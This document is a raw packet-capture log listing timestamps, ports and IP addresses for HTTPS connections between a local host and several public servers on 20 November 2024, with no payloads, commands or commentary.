Nov 20, 2024 15:43:18.175853968 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.175931931 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.175962925 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.177994967 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.178060055 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.178077936 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.178450108 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.178515911 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.178530931 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.184175968 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.184196949 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.184246063 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.184261084 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.184288025 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.185767889 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.185833931 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.185858011 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.189817905 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.189832926 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.189894915 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.189913034 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.193797112 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.193842888 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.193895102 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.193908930 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.201936960 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.201997995 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.202009916 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.209731102 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.209824085 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.209832907 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.211642981 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.216628075 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.216692924 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.216700077 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.231151104 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.231240988 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.231240034 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.231268883 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.231332064 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.241837025 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.245498896 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.257874012 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.257895947 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.289825916 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.289834023 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.303809881 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.303944111 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.303955078 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.308777094 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.308845997 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.308857918 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.316169977 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.316251040 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.316276073 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.323837042 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.323905945 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.323915958 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.332918882 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.332992077 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.332998991 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.333328962 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.333724022 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.333803892 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.333988905 CET	49765	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.334002018 CET	443	49765	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.338124990 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.338210106 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.338285923 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.338296890 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.338361979 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.341300964 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.341331005 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.341384888 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.341398954 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.342072010 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.345654011 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.349282026 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.353303909 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.353399038 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.353409052 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.353452921 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.353749990 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.355508089 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.355520010 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.355577946 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.355608940 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.355652094 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.355679035 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.356285095 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.357918024 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.357970953 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.357979059 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.359268904 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.360425949 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.360457897 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.360507965 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.360522032 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.360554934 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.360577106 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.363626957 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.363703966 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.363720894 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.365112066 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.365170956 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.365195990 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.366147995 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.366189003 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.366204023 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.366210938 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.366251945 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.366266012 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.371407032 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.371464014 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.371471882 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.371810913 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.371831894 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.371886015 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.371901035 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.371931076 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.373078108 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.373693943 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.373698950 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.375160933 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.375212908 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.375221014 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.375399113 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.375412941 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.375464916 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.375480890 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.375509024 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.380337000 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.380395889 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.380400896 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.380593061 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.380609989 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.380660057 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.380672932 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.380701065 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.386174917 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.386188030 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.386317968 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.386332035 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.387865067 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.387949944 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.387953997 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.387983084 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.388345957 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.389215946 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.389292002 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.389306068 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.392224073 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.392302036 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.392316103 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.394052982 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.395625114 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.395693064 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.395699978 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.402863979 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.402951956 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.403045893 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.403053045 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.403093100 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.410058022 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.417280912 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.417332888 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.417339087 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.424535036 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.424595118 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.424614906 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.433829069 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.449837923 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.465831041 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.512310982 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.514177084 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.514257908 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.514271975 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.514302969 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.514605999 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.519925117 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.523999929 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.524072886 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.524085999 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.527951956 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.528177977 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.528260946 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.528269053 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.530406952 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.530464888 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.530471087 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.530502081 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.530555010 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.530745029 CET	49767	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:18.530757904 CET	443	49767	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:18.536041021 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.536067963 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.536134005 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.536158085 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.536238909 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.536705971 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.536716938 CET	443	49766	151.101.66.137	192.168.2.16
Nov 20, 2024 15:43:18.536731005 CET	49766	443	192.168.2.16	151.101.66.137
Nov 20, 2024 15:43:18.563514948 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.563535929 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.563652039 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.563719034 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.564907074 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.567006111 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.567110062 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.567126036 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.569224119 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.569319010 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.569333076 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.572174072 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.572252035 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.572264910 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.573812008 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.573878050 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.573890924 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.573911905 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.573982954 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.574114084 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:18.574143887 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:18.718396902 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:18.718477964 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:18.718581915 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:18.718789101 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:18.718821049 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:19.111969948 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:19.112051010 CET	443	49771	162.241.71.126	192.168.2.16
Nov 20, 2024 15:43:19.112155914 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:19.112359047 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:19.112380028 CET	443	49771	162.241.71.126	192.168.2.16
Nov 20, 2024 15:43:20.420608044 CET	443	49771	162.241.71.126	192.168.2.16
Nov 20, 2024 15:43:20.420957088 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:20.420993090 CET	443	49771	162.241.71.126	192.168.2.16
Nov 20, 2024 15:43:20.422054052 CET	443	49771	162.241.71.126	192.168.2.16
Nov 20, 2024 15:43:20.422133923 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:20.423254967 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:20.423341990 CET	443	49771	162.241.71.126	192.168.2.16
Nov 20, 2024 15:43:20.423397064 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:20.467331886 CET	443	49771	162.241.71.126	192.168.2.16
Nov 20, 2024 15:43:20.475846052 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:20.475867033 CET	443	49771	162.241.71.126	192.168.2.16
Nov 20, 2024 15:43:20.523829937 CET	49771	443	192.168.2.16	162.241.71.126
Nov 20, 2024 15:43:20.721457958 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:20.721820116 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:20.721836090 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:20.723071098 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:20.723148108 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:20.725895882 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:20.725967884 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:20.726104021 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:20.726227999 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:20.726294041 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:20.779824972 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:20.779833078 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:20.827795029 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.177241087 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.177352905 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.177372932 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.177391052 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.177417994 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.177480936 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.177514076 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.202019930 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.202033043 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.202074051 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.202095032 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.202137947 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.202169895 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.257807970 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.360460043 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.360480070 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.360501051 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.360549927 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.360634089 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.389085054 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.389096975 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.389130116 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.389158964 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.389205933 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.410738945 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.410752058 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.410784006 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.410815954 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.410860062 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.434340000 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.434391975 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.434426069 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.434470892 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.434497118 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.463077068 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.463114023 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.463186026 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.463186026 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.463222027 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.512800932 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.560969114 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.560982943 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.561060905 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.561060905 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.561151981 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.561151981 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.580517054 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.580534935 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.580564022 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.580590963 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.580621004 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.580647945 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.600738049 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.600754023 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.600810051 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.600831032 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.615118980 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.615135908 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.615190983 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.615206003 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.629677057 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.629688978 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.629719973 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.629772902 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.629806995 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.629844904 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.665093899 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.665107012 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.665159941 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.665180922 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.665190935 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.665221930 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.665225983 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.665246010 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.665324926 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.720808983 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.763945103 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.763963938 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.763991117 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.763999939 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.764122009 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.764122009 CET	49770	443	192.168.2.16	170.106.97.196
